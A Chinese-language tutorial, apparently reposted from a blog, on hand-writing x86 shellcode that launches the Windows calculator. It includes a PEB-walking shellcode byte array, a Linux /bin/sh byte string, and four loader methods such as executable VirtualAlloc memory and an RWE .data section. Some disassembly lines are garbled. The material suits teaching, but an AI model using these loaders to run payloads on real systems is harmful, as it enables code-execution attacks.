以启动电脑上的计算器为例, 编写 ShellCode 其实就是两部分, 一是获取 ShellCode 字节码, 二是调用它.
获取方式一般是观察代码反汇编和内存相结合:
- VOID Test()
- {
- HMODULE v1 = LoadLibraryA("kernel32.dll");//0X7778ff70
- //WinExec("calc.exe", SW_SHOW);
- /*
- 00E31E5E mov esi,esp
- 00E31E60 push 0E36B30h
- 00E31E65 call dword ptr ds:[0E3A060h]
- 00E31E6B cmp esi,esp
- 00E31E6D call __RTC_CheckEsp (0E3111Dh)
- 00E31E72 mov dword ptr [v1],ea,0x
- WinExec("calc.e,0xe", SW_SHOW);
- 00E31E75 mov esi,esp
- 00E31E77 push 5
- 00E31E79 push 0E36B40h
- 00E31E7E call dword ptr ds:[0E3A064h]
- 00E31E84 cmp esi,esp
- 00E31E86 call __RTC_CheckEsp (0E3111Dh)
- return 0;
- */
- __asm
- {
- push ebp;
- mov ebp, esp;
- xor eax, eax;
- push eax;
- sub esp, 08h;
- mov byte ptr[ebp - 0Ch], 63h; //c
- mov byte ptr[ebp - 0Bh], 61h; //a
- mov byte ptr[ebp - 0Ah], 6Ch; //l
- mov byte ptr[ebp - 09h], 63h; //c
- mov byte ptr[ebp - 08h], 2Eh; //.
- mov byte ptr[ebp - 07h], 65h; //e
- mov byte ptr[ebp - 06h], 78h; //x
- mov byte ptr[ebp - 05h], 65h; //e
- lea eax, [ebp - 0ch];
- push eax; // 将 calc.exe 压入栈内
- mov eax, 0x7778ff70;
- call eax; // 调用 WinExec
- mov esp, ebp;
- pop ebp;
- }
- }
然后就是所谓的苦力活, 将反汇编中的字节码一个一个抄出来, 整合成为一个 ShellCode
- CHAR ShellCode[] = {
- 0x55,0x8B,0xEC,0x51,0x51,0x83,0x65,0xFC,0x00,0x56,0x57,0xC7,0x45,0xF8,0x63,0x61,
- 0x6C,0x63,0x64,0xA1,0x18,0x00,0x00,0x00,0x33,0xC9,0x8B,0x40,0x30,0x8B,0x40,0x0C,
- 0x8B,0x78,0x1C,0x8B,0x3F,0x8B,0x47,0x20,0x66,0x83,0x78,0x10,0x2E,0x74,0x06,0x41,
- 0x83,0xF9,0x02,0x7C,0xEE,0x8B,0x4F,0x08,0xBA,0xB9,0x6B,0xFF,0xCB,0xE8,0x23,0x00,
- 0x00,0x00,0x8B,0x4F,0x08,0xBA,0x13,0xB9,0xE6,0x25,0x8B,0xF0,0xE8,0x14,0x00,0x00,
0x00,0x6A,0x01,0x8D,0x4D,0xF8,0x51,0xFF,0xD0,0x6A,0x00,0x6A,0x00,0xFF,0xD6,0x5F,
- 0x5E,0x8B,0xE5,0x5D,0xC3,0x55,0x8B,0xEC,0x83,0xEC,0x10,0x53,0x56,0x8B,0xF1,0x89,
- 0x55,0xF0,0x33,0xD2,0x57,0x8B,0x46,0x3C,0x8B,0x5C,0x30,0x78,0x03,0xDE,0x89,0x5D,
- 0xF4,0x8B,0x4B,0x20,0x03,0xCE,0x39,0x53,0x18,0x76,0x39,0x8B,0x39,0x33,0xC0,0x03,
0xFE,0x8A,0x1F,0x84,0xDB,0x8B,0x5D,0xF4,0x74,0x1C,0x8B,0xD8,0x8A,0x07,0x6B,0xDB,
- 0x21,0x0F,0xBE,0xC0,0x03,0xD8,0x47,0x8A,0x07,0x84,0xC0,0x75,0xF1,0x89,0x5D,0xF8,
- 0x8B,0x5D,0xF4,0x8B,0x45,0xF8,0x3B,0x45,0xF0,0x74,0x12,0x83,0xC1,0x04,0x42,0x3B,
- 0x53,0x18,0x72,0xC7,0x33,0xC0,0x5F,0x5E,0x5B,0x8B,0xE5,0x5D,0xC3,0x8B,0x43,0x24,
0x8D,0x04,0x50,0x0F,0xB7,0x0C,0x30,0x8B,0x43,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x30,
- 0x03,0xC6,0xEB,0xE2
- };
对于 ShellCode 能不能在各个电脑上都适用, 我还不敢保证, 因为我之前也尝试将别人写的拿过来运行, 但是程序崩溃. 所以最好自己试着写一遍.
ShellCode 字符也可以写成这种形式:
- char shellcode[] =
- "\x55\x8b\xec\x51\x51\x83\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
- "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
- "\x2f\x73\x68\x58"; //...
它利用的是 \ x 的转义字符特性, 其实是一样的.
写好 ShellCode 后就该调用它了
方法 1: 利用动态申请内存, 一定是可执行属性
- typedef void (_stdcall *CODE)();
- VOID Sub_1()
- {
- PVOID p = NULL;
- p = VirtualAlloc(NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (p == NULL)
- {
- return;
- }
- memcpy(p, ShellCode, sizeof(ShellCode));
- CODE code = (CODE)p;
- code();
- }
方法 2,: 强制类型转换成函数指针
- VOID Sub_2()
- {
- ((void(WINAPI*)(void))&ShellCode)();
- }
虽然看上去有点复杂, 但是拆开分析一下还是很简单的, 首先取了 ShellCode 的地址, 将它强制类型转换成函数指针, 第一个 void 表示函数返回值, 第二个 void 可以不要, 它是说该函数没有参数, 最后在后面加上小括号, 注意 WINAPI 的调用约定一定不能少, 我用的 VS2015 编译器, 写的控制台程序的默认调用约定是_cdecl.
方法 3: 嵌入式汇编呼叫 ShellCode
- #pragma comment(linker, "/section:.data,RWE")
- VOID Sub_3()
- {
- __asm
- {
- mov eax, offset ShellCode
- jmp eax
- }
- }
这种方法写法也比较灵活, 其中第一句 mov eax, offset ShellCode 可以用 lea eax, ShellCode 代替, 因为它们是等价的
第二句的 jmp 也可以用 call 代替. 所以就是四种组合了.
最上面的一句 #pragma comment(linker, "/section:.data,RWE") 是很重要的, 我曾经因为没有它, 而导致多次错误, 却一直在 ShellCode 上找原因.
它也是说将这段代码放入可执行区域.
方法 4: 伪指令
- #pragma comment(linker, "/section:.data,RWE"
- VOID Sub_4()
- {
- __asm
- {
- mov eax, offset ShellCode
;_emit 伪指令在当前文本段落的当前位置定义一个字节. _emit 伪命令类似于 MASM 的 DB 指令.
- _emit 0xFF
- _emit 0xE0
- }
- }
来源: http://www.bubuko.com/infodetail-2692474.html